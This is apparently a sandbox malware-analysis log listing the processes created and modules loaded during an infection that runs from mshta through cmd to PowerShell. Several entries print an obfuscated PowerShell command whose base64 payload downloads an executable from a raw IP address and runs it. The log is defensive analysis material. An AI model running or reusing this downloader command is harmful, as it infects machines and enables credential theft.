Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESD004.tmp" "c:\Users\user\AppData\Local\Temp\qetstupm\CSCEF30E185BA76444FA670BC63B6F1A196.TMP"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\igcc.exe "C:\Users\user\AppData\Roaming\igcc.exe"
Source: C:\Users\user\AppData\Roaming\igcc.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\AppData\Roaming\igcc.exe"
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	Process created: C:\Windows\SysWOW64\AtBroker.exe "C:\Windows\SysWOW64\AtBroker.exe"
Source: C:\Windows\SysWOW64\AtBroker.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/C POwERsHElL.exE -Ex bypass -NOp -w 1 -C DEVIcecreDEntIalDePLoyMEnT.ExE ; IEX($(IEX('[SysteM.texT.ENCoDINg]'+[ChaR]0X3a+[ChaR]58+'utf8.getStrinG([systEm.cONveRt]'+[char]58+[cHar]58+'FrOmbAse64STRinG('+[CHar]0X22+'JFpzb2RoaDdrWCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC1UeXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iRVJkRWZpTkl0aU9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1Ukxtb04uZExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVb2pXamtsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhYW15WG92b08sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZHY09aUFhYaCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEJaUXhpdVksSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhIbCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiY09pYm9lIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRXNQYUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxBdCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRac29kaGg3a1g6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjIwOC4yMS8yMzMvaWdjYy5leGUiLCIkRU5WOkFQUERBVEFcaWdjYy5leGUiLDAsMCk7c3RhUnQtc0xlZVAoMyk7aW52T0tlLWlURW0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTnY6QVBQREFUQVxpZ2NjLmV4ZSI='+[CHaR]34+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe POwERsHElL.exE -Ex bypass -NOp -w 1 -C DEVIcecreDEntIalDePLoyMEnT.ExE ; IEX($(IEX('[SysteM.texT.ENCoDINg]'+[ChaR]0X3a+[ChaR]58+'utf8.getStrinG([systEm.cONveRt]'+[char]58+[cHar]58+'FrOmbAse64STRinG('+[CHar]0X22+'JFpzb2RoaDdrWCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC1UeXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iRVJkRWZpTkl0aU9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1Ukxtb04uZExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVb2pXamtsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhYW15WG92b08sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZHY09aUFhYaCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEJaUXhpdVksSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhIbCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiY09pYm9lIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRXNQYUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxBdCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRac29kaGg3a1g6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjIwOC4yMS8yMzMvaWdjYy5leGUiLCIkRU5WOkFQUERBVEFcaWdjYy5leGUiLDAsMCk7c3RhUnQtc0xlZVAoMyk7aW52T0tlLWlURW0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTnY6QVBQREFUQVxpZ2NjLmV4ZSI='+[CHaR]34+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qetstupm\qetstupm.cmdline"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\igcc.exe "C:\Users\user\AppData\Roaming\igcc.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESD004.tmp" "c:\Users\user\AppData\Local\Temp\qetstupm\CSCEF30E185BA76444FA670BC63B6F1A196.TMP"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\igcc.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\AppData\Roaming\igcc.exe"	Jump to behavior
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	Process created: C:\Windows\SysWOW64\AtBroker.exe "C:\Windows\SysWOW64\AtBroker.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\igcc.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\igcc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\igcc.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\igcc.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\igcc.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\igcc.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\igcc.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\igcc.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\igcc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\igcc.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\igcc.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\igcc.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: cryptbase.dll	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Process created: "C:\Windows\system32\cmd.exe" "/C POwERsHElL.exE -Ex bypass -NOp -w 1 -C DEVIcecreDEntIalDePLoyMEnT.ExE ; IEX($(IEX('[SysteM.texT.ENCoDINg]'+[ChaR]0X3a+[ChaR]58+'utf8.getStrinG([systEm.cONveRt]'+[char]58+[cHar]58+'FrOmbAse64STRinG('+[CHar]0X22+'JFpzb2RoaDdrWCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC1UeXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iRVJkRWZpTkl0aU9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1Ukxtb04uZExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVb2pXamtsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhYW15WG92b08sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZHY09aUFhYaCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEJaUXhpdVksSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhIbCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiY09pYm9lIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRXNQYUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxBdCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRac29kaGg3a1g6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjIwOC4yMS8yMzMvaWdjYy5leGUiLCIkRU5WOkFQUERBVEFcaWdjYy5leGUiLDAsMCk7c3RhUnQtc0xlZVAoMyk7aW52T0tlLWlURW0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTnY6QVBQREFUQVxpZ2NjLmV4ZSI='+[CHaR]34+'))')))"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: "C:\Windows\system32\cmd.exe" "/C POwERsHElL.exE -Ex bypass -NOp -w 1 -C DEVIcecreDEntIalDePLoyMEnT.ExE ; IEX($(IEX('[SysteM.texT.ENCoDINg]'+[ChaR]0X3a+[ChaR]58+'utf8.getStrinG([systEm.cONveRt]'+[char]58+[cHar]58+'FrOmbAse64STRinG('+[CHar]0X22+'JFpzb2RoaDdrWCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC1UeXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iRVJkRWZpTkl0aU9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1Ukxtb04uZExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVb2pXamtsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhYW15WG92b08sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZHY09aUFhYaCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEJaUXhpdVksSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhIbCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiY09pYm9lIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRXNQYUNlICAgI